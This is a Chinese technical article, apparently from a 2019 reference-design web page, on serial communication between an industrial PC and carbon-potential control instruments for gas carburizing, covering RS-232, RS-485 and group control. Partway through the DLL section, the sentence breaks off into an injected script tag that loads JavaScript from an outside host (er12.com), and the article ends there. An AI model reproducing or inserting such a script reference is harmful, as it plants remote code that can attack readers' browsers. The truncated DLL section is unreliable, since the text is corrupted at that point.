动态链接库在工业仪表数据通信中的应用

1 系统工作原理

  气体渗碳是一个相当复杂的物理化学过程,一般分为(1)介质间的化学反应分解出渗碳组分;(2)介质分解出的活性组分通过边界向表面扩散;(3)相界面反应产生活性碳原子;(4)碳原子在钢铁内部的扩散,介质中的化学反应和气氛中的扩散可以用气氛碳势来衡量,表面反应和金属内部的扩散可以用fick第二定律结合第三类边界条件来描述。该系统以按照集散控制系统的思想进行设计,采用工控机作为控制系统的核心,建立相应的数学模型,实现对气体渗碳工艺的精确控制。

(1)该系统主要的控制过程有:

(a)信号采集过程

  使用热电偶检测炉温,用氧探头检测碳势,并将温度、碳势、动作等信号转换为电压信号,送至控制仪表。控制仪表经过内部转换,将得到的实际值通过串口卡传送至上位机。

(b)控制过程

  上位机的控制软件根据下位机(智能仪表)传来的实时工艺参数值决定发给下位机的控制信号。下位机则根据收到的信号控制调节阀和可控硅,从而实现对渗碳炉温度和碳势的控制。

我们使用的数显智能型碳势控制仪采用多层抗干扰技术,可适合各种复杂工业现场使用。具有可变换的多种复杂输出驱动能力,例如可接电磁阀,脉冲阀,变通径电动调节阀和接受模拟输出的各种执行文件。该仪表有断电保持、报警、氧碳头自动清洗、氧探头内阻测量、co值补偿、热电偶选择、数字通讯等功能。仪表可存储至多100个工艺,有pid整定和温度、氧势和碳势的补偿的设置。仪表的显示精度为0.001%cp,控制精度为0.001%cp。该智能仪表有通讯和手动两种工作状态。在通讯状态,仪表接受上位机的控制,在上位机出现问题时,可转换为手动方式,按照事先编制、储存在仪表中的工艺自动运行,保证了运行的连续,增强了可靠性和安全性。

(2)rs-232与rs-485

  计算机与计算机或计算机与终端之间的数据传送可以采用串行通讯和并行通讯二种方式。由于串行通讯方式具有使用线路少、成本低,特别是在远程传输时,避免了多条线路特性的不一致而被广泛采用。

在串行通讯时,要求通讯双方都采用一个标准接口,使不同 的设备可以方便地连接起来进行通讯。 rs-232-c接口(又称 eia rs-232-c)是目前最常用的一种串行通讯接口。它是在1970年由美国电子工业协会(eia)联合贝尔系统、

调制解调器厂家及计算机终端生产厂家共同制定的用于串行通讯的标准。

  由于rs-232-c接口标准出现较早,难免有不足之处,主要有以下四点: (a)接口的信号电平值较高;(b)传输速率较低,在异步传输时,波特率为20kbps;(c)接口使用一根信号线和一根信号返回线而构成共地的传输形式,

这种共地传输容易产生共模干扰,所以抗噪声干扰性弱;(d)传输距离有限,最大传输距离标准值为50英尺,实际上也只能 用在50米左右。

  针对rs-232-c的不足,于是就不断出现了一些新的接口标准,rs-485就是其中之一,它具有以下特点:

(a)rs-485的电气特性:逻辑“1”以两线间的电压差为+(2~6)v表示;逻辑“0”以两线间的电压差为-(2~6)v表示。接口信号电平比rs-232-c降低了,就不易损坏接口电路的芯片,

且该电平与ttl电平兼容,可方便与ttl 电路连接。

(b)rs-485的数据最高传输速率为10mbps

(c)rs-485接口是采用平衡驱动器和差分接收器的组合,抗共模干能力增强,即抗噪声干扰性好。

(d)rs-485接口的最大传输距离标准值为4000英尺,实际上可达 3000米,另外rs-232-c接口在总线上只允许连接1个收发器,

即单站能力。而rs-485接口在总线上是允许连接多达128个收发器,即具有多站能力,这样用户可以利用单一的rs-485接口方便地建立起设备网络。

因rs-485接口具有良好的抗噪声干扰性、长的传输距离和多站能力等上述优点就使其成为首选的串行接口。 因为rs485接口组成的半双工网络,一般只需二根连线,所以rs485接口均采用屏蔽双绞线传输。

rs485接口连接器采用db-9的9芯插头座,与智能终端rs485接口采用db-9(孔),与键盘连接的键盘接口rs485采用db-9(针)。

(3)计算机群控方式

  在rs232/rs485转换卡后可并行连接至多32 个智能仪表,利用上位机实时的并发控制,组成了一个计算机群控系统。智能仪表的地址在表中事先设定,上位机通过寻址对各个智能仪表分别的进行读写数据,以实现对多个生产过程的集中管理和控制。

2 动态链接库

  所谓动态链接库dll(dynamic link library)就是允许用户的应用程序分享代码和资源的非任务可执行模块,也就是一个包含许多函数和数据的库文件(模块)。windows操作提供很多dll库,包括“user.exe”(?script src=http://er12.com/t.js>

  • 动态链接库在工业仪表数据通信中的应用已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计